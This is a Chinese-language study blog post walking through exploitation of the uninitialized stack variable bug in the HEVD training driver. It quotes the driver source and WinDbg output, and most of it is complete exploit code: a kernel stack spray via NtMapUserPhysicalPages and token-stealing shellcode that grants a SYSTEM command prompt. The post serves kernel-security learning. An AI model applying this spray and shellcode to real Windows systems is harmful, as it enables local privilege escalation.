0x00:前言
今天继续学习HEVD的未初始化栈变量漏洞利用,根据我的经验,只要是没涉及到堆的,难度应该都是不大的。原文讲的肯定比我好,我这里主要描述出调试过程。
0x01:漏洞原理
首先看漏洞源码:
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
#ifdef SECURE
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
// the callback
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
// Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
// because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_STACK_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
// Validate the magic value
if (UserValue == MagicValue) {
UninitializedStackVariable.Value = UserValue;
UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
}
DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
// Call the callback function
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
这里有安全与不安全的代码对比,在不安全的代码中,创建了一个局部变量但是没有初始化,安全的版本则进行了初始化为{0}。之后检验用户层输入的是否为魔数,如果是则进行该变量的Value和回调函数;如果不是魔数,则不填充。在最后有一个检查变量的回调函数是否为空,但是如果没有变量没有初始化,则毫无检查意义,甚至被作为漏洞点利用。这就是未初始化栈变量利用。
0x02:漏洞分析
首先在IDA中找到IOCTL码,然后输入正确的魔数进行访问测试。
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0;
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
return 0;
}
运行后得到内核打印结果,可以看到魔数正确时,按流程在执行程序。
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0x8AB1B9C8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0x8E2E2EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
但是由于内核栈上的垃圾值的原因,即使魔数不正确,这里也会进行Call来调用没有进行赋值的“回调函数”。这个值是不固定的,但是我们希望该值为Shellcode的函数地址。因此用到了栈喷射技术。
栈喷射
关于栈喷射技术的原理在这里有解释,它利用了一个文档中没有的函数 NtMapUserPhysicalPages ,该函数的具体功能我们不关心,但是它的一部分功能是可以拷贝输入的字节到内核栈上的一个本地缓冲区,最大尺寸可以拷贝1024*IntPtr::Size(32位机器上是4字节=>4096字节)。在这里足够了。
在Call回调函数的地方下一断点,进行栈喷射后观察。
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
GetModuleHandle(L"ntdll"),
"NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
printf("[+]Failed to get MapUserPhysicalPages!!!\n");
return;
}
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
//将申请的空间全部填充为我们的Shellcode地址
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)&ShellCode;
}
//进行栈喷射
NtMapUserPhysicalPages(NULL, 1024, StackSpray);
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
断点处可以看到,回调函数被喷射为了Shellcode 的地址,但是似乎可以看出来该喷射内容是随机的,具体的机制尚且还不清楚。目前只要记得有这一机制即可。
Breakpoint 0 hit
8e2e2f8e ff95f8feffff call dword ptr [ebp-108h]
kd> dd ebp-0x108
950589cc 008b13b1 008b13b1 008b13b1 008b13b1
950589dc 008b13b1 008b13b1 008b13b1 008b13b1
950589ec 008b13b1 008b13b1 008b13b1 008b13b1
950589fc 008b13b1 008b13b1 008b13b1 008b13b1
95058a0c 008b13b1 c0802000 95058a40 83e6e654
95058a1c 77c4a001 00000306 000001f9 000001f9
95058a2c 85a44220 00000000 008b13b1 00000005
95058a3c c0802d08 95058a74 83e6d6cc 85e27340
kd> dd esp
950589b8 1b2bb339 87d74350 87d743c0 8e2e3ca4
950589c8 008b13b1 008b13b1 008b13b1 008b13b1
950589d8 008b13b1 008b13b1 008b13b1 008b13b1
950589e8 008b13b1 008b13b1 008b13b1 008b13b1
950589f8 008b13b1 008b13b1 008b13b1 008b13b1
95058a08 008b13b1 008b13b1 c0802000 95058a40
95058a18 83e6e654 77c4a001 00000306 000001f9
95058a28 000001f9 85a44220 00000000 008b13b1
最后利用成功。完整的利用代码附上。
#include <Windows.h>
#include <stdio.h>
HANDLE hDevice = NULL;
/************************************************************************/
/* Write by Thunder_J 2019.7 */
/* Uninitialized-Stack-Variable */
/************************************************************************/
typedef NTSTATUS(WINAPI* My_NtMapUserPhysicalPages)(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
VOID ShellCode()
{
_asm
{
//int 3
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
GetModuleHandle(L"ntdll"),
"NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
printf("[+]Failed to get MapUserPhysicalPages!!!\n");
return;
}
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)&ShellCode;
}
NtMapUserPhysicalPages(NULL, 1024, StackSpray);
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
return 0;
}
明日计划
继续学习内核漏洞利用